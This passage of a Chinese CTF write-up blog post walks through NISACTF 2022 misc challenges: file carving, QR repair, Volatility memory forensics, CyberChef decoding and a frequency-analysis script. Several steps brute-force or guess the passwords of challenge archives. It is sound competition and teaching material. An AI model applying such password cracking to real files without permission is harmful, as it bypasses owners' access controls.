好的抽象艺术大师,这道题到第三天我在凹 bmpnumber 换思路的时候才偶然意识到,好像不用全部画上去

Misc 7-4

ujko njk, tfvbh yhji pok rdcvg rdcvg pok qwsz tfvbh ujko wazxd qase wsdr pok xdfv iklp
njk wsdr rfgy rdcvg uhnmk bhjm yhji
imgulfflagiswelcometfjnu

终于拿到了flag,组了下词没组出来,就硬着头皮交了

小吐槽

yysy说好的单词呢,空格也只能猜,要不是t猜了一手to,不然我可能空格都打不对

[NISACTF 2022]为什么我什么都看不见

打开 hex 发现了一个 png 和一个 rar,rar 手动提取出来,发现没有flag

you want to obtain the flag?

行又被刷了,看看图片本身,CRC 没出错不管了,直接看 LSB 了

Misc 8-1

行。。

[NISACTF 2022]bilala的二维码

这道题一开始修好二维码之后,拿着一个没有塞 flag 的图片,对着这个jpg输出了快一个小时和出题人交流了下,结果是文件没丢进去,下午还是晚上改附件了,就继续做了。

第一层仍然是个二维码只是需要修一下,修好之后原附件是一张皮卡丘的图片,新附件也是皮卡丘的图片,但是大小差距过大,估计是夹了文件,使用foremost分离

Misc 9-1

可以看到有两个 jpg 和 zip,一张是外面的壳,另外一张就是和下一步或者最后答案相关的,zip 的密码还没有,在一番搜索 jpg 的隐写无果,就开始爆破了,其实题目更新了说得是与分辨率和队名有关,但是我试了半天没试出来,先用准备用暴力跑 6 位大小写+数字,居然跑出来了

Misc 9-2

密码NiSA行。。。确实和队名有关,进去是个 morse ,还是老网站

Misc 9-3

好了他说part1,那就找part2,按照解谜的思路就是回顾下没有用到的线索,分辨率还没用到

Misc 9-4

试了很久以及和出题人交流最终flag part1+282X231

小吐槽

这次这个题目可能是因为 NTFS 失效不在计划范围内,导致题目强行变更,确实有些地方有点强行逻辑了(,还有第一次附件出问题

[NISACTF 2022]流量包里有个熊

看到流量包,wireshark 打开分析下主要传输的内容

Misc 10-1

看到就一图片,其他的甚至懒得分析(

直接用 foremost 分离,啊这好吧分离不出来。上 binwalk 拆出来了一个 rar 然后并打不开,老老实实打开 wireshark 右键导出

Misc 10-2

里面其实就是一个可爱的小熊了,因为 jpg 隐写我实属不熟,所以先打开 hex 看看里面有没有套娃,因为当时binwalk其实识别出了rar 但是扒不出来了(可能是我操作问题?)。

Misc 10-3

确实是套娃用 binwalk 再处理一次得到了一个 rar 文件。

打开后一个文件夹+一个 flag ,先看文件夹又是一个 flag 盲猜一个假一个真,先处理短的吧,看起来像是 base64

Misc 10-4

行,节省点 CDN 流量就不放表情包了

看了下另外一个文件,怎么感觉味很冲,就先丢去词频分析验证一下自己的猜想。

贴一个自己喜欢用的脚本(在哪抄的我忘了.jpg)

# -*- coding:utf-8 -*-
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_+- =\\{\\}[]"
strings = open('flag.txt').read()

result = {}
for i in alphabet:
counts = strings.count(i)
i = '{0}'.format(i)
result[i] = counts

res = sorted(result.items(),key=lambda item:item[1],reverse=True)
for data in res:
print(data)

for i in res:
flag = str(i[0])
print(flag[0],end="")
Misc 10-5

意识流告诉我这 99% 是个 hex 毕竟只用到了16个字符,观察下开头

SSQ8SSR000104N464946

SS 开头一样,去翻下常见文件头列表看看有哪些开头是这样的

Misc 10-6

好的这些里面就一个 jpg wpd 是英文字母开头的双写,数字先不考虑,然后 wpd 我确实没怎么见到过,那就先 jpg。

由于自己比较菜文件结构记不到,索性 Google 了下 JPG file header data format

Misc 10-7

或者如果你懒得找的话可以随便抓一个jpg,再懒一点穷举也行不过也就是 6! 720 次而已

就按照这个表先讲(

文件头 FFD8 对应题目中的 SSQ8

那么 S = F Q =D

这样如果你要爆破就是 4! 24 次了

继续往下看 FFE0 对应题目中 SSR0

R = E

次数已经到 3! 6 次了

继续往下看

4A464946 对应题目中的 4N464946

那么 N = A

整理一下还差 B C

那么久稍微穷举一下 P 和 O 对应 BC 或者 CB

最后就是一个完整的 jpg 文件

Misc 10-8

其实 jpg 隐写我是真的不太会,然后就直接找大佬们要了个 stegdetect (我的不知道为什么缺文件了),跑了下 negative 行就想想之前 DAS(好像是,有点记不太清楚)之前出了一个 WaterMark 的题,工具还留着的试了下。

Misc 10-9

结合一下满亮度

Misc 10-10

然而我还是瞎了,拉着出题人一起看(bushi)得到flag

S0_clev2l_You

[NISACTF 2022]套娃

这道题是真的煎熬,不知道为什么我 Windows 的 vol 跑 filescan 就炸,就缓了下,拿着 raw 去虚拟机装了个 vol26 准备开跑,省略了一些探索过程例如剪贴板、imageinfo、psscan之类的

先来看看那一个 txt 吧,看起来是 unicode 因为后面还有几层,在我写 wp 就没有用其他工具复现了,直接用 cyberchef 了

Misc 11-1

ChefRecipe:

[
{ "op": "Unescape Unicode Characters",
   "args": ["\\u"] },
{ "op": "From Base64",
   "args": ["A-Za-z0-9+/=", true] },
{ "op": "From Base32",
   "args": ["A-Z2-7=", true] },
{ "op": "From Hex",
   "args": ["Auto"] }
]

这里就直接贴 filescan 的图了,其余探索过程就省略了。

Misc 11-2

看到了一个可疑的文件夹 flower 以及里面的内容,保险起见是可以全部提取出来,但我个人当时的猜想是他只是想压缩,所以就只提取了压缩包。

Misc 11-3

提取出来发现里面一个压缩包里面有 36 个图片一个 pwd.txt,正好和外面的文件解出来一致最大值为 36 盲猜一手拼图,但是这个 pwd 是什么我还不知道有点懵逼,打开文件,第一层全大写加个等于号那基本上没跑了,解完之后明显的 base64,然后解完还是 base64,但是这里没有正确的输出结果,磨了10分钟没有什么结果,就去找出题人交流了,明确得到是 base ,那 base 我已经尝试过一次了,那就是码表了,因为这位师傅之前推荐过 cyberchef 我就直接在 cyberchef 里面找最后终于找到了。

Misc 11-4

ChefRecipe:

[
{ "op": "From Base32",
   "args": ["A-Z2-7=", true] },
{ "op": "From Base64",
   "args": ["A-Za-z0-9+/=", true] },
{ "op": "From Base64",
   "args": ["./0-9A-Za-z=", true] }
]

终于把压缩包密码搞到手了,看了眼图用他给的顺序稍微拼了下

Misc 11-5

整理了下文本(其实我到最后快出的时候才整理的)

58s4vb6rt4pt5r32yd6ht5u656555r6796524vi69r2yd5om6w0

这里真的没什么好说的,我以为排列很重要,考虑到排列的我以为是 Hex 的 Sudoku 然后出题人给的 Hint 是 hex,我翻了很久一个一个的去试或者看看格式最后找到了 Twin Hex

最后拿到了 flag

Misc 11-6

[NISACTF 2022]bmpnumber

这道题只能说我是 傻* 自己有工具但是忘了他能处理 bmp 就按第二天提示来做吧

提示是 PDF 常用加密,好家伙不就是 Westego 丢进去解密

Misc 12-1

最后有个二维码,是的又要修二维码

Misc 12-2

修好之后有个猜弱密码环节:https://h5.clewm.net/?url=qr61.cn%2FogZAdB%2FqtOvmyN&hasredirect=1

猜了10分钟。。对着字典一个一个试最后是 password

有个 doc 行吧继续套

解密rdcvgtkopqwsztfvbhbhjmiklprfgyygbnjwsdredftwsdr然后。。没解出来,再看了一眼doc

Misc 12-3

行,我就吃个饭,吃饭完一血没了,我血亏呜呜呜呜呜

小吐槽

弱密码杀我呜呜呜呜

[NISACTF 2022]问卷

就一问卷,省一点 CDN 流量费就不上图了(其实是懒了(

后记

打完比赛其实这次比赛大部分题都没什么问题,甚至还复习了一些我之前收集到只用过一次的工具,但是确实有些题目出的不那么严谨,最后考misc水了个第 6 还是比较开心的,希望之后还有这种面向新生的比赛(大二了都还不要脸的打新生赛,打比赛自闭了那么久终于有个比赛没那么的坐牢了,感谢NSSCTF和NICO。如果这篇 Writeup 有错误,请各位师傅指正,评论区或者邮箱 i@wd-ljt.com联系我,我们下次比赛再见.doge

感谢观看我的博客~
NISA 2022 Writeup by WDLJT
https://www.wd-ljt.com/post/0329/799.html
来源于问谛居,转载记得联系作者哟~
THE END
分享
二维码
海报
NISA 2022 Writeup by WDLJT
Table of Contents前记Web[NISACTF 2022]checkin[NISACTF 2022]level-up[NISACTF 2022]bingdundun~[NISACTF 2022]secret[NISACTF 2022]popchains感谢队内师傅……
<<上一篇
下一篇>>
文章目录
关闭
目 录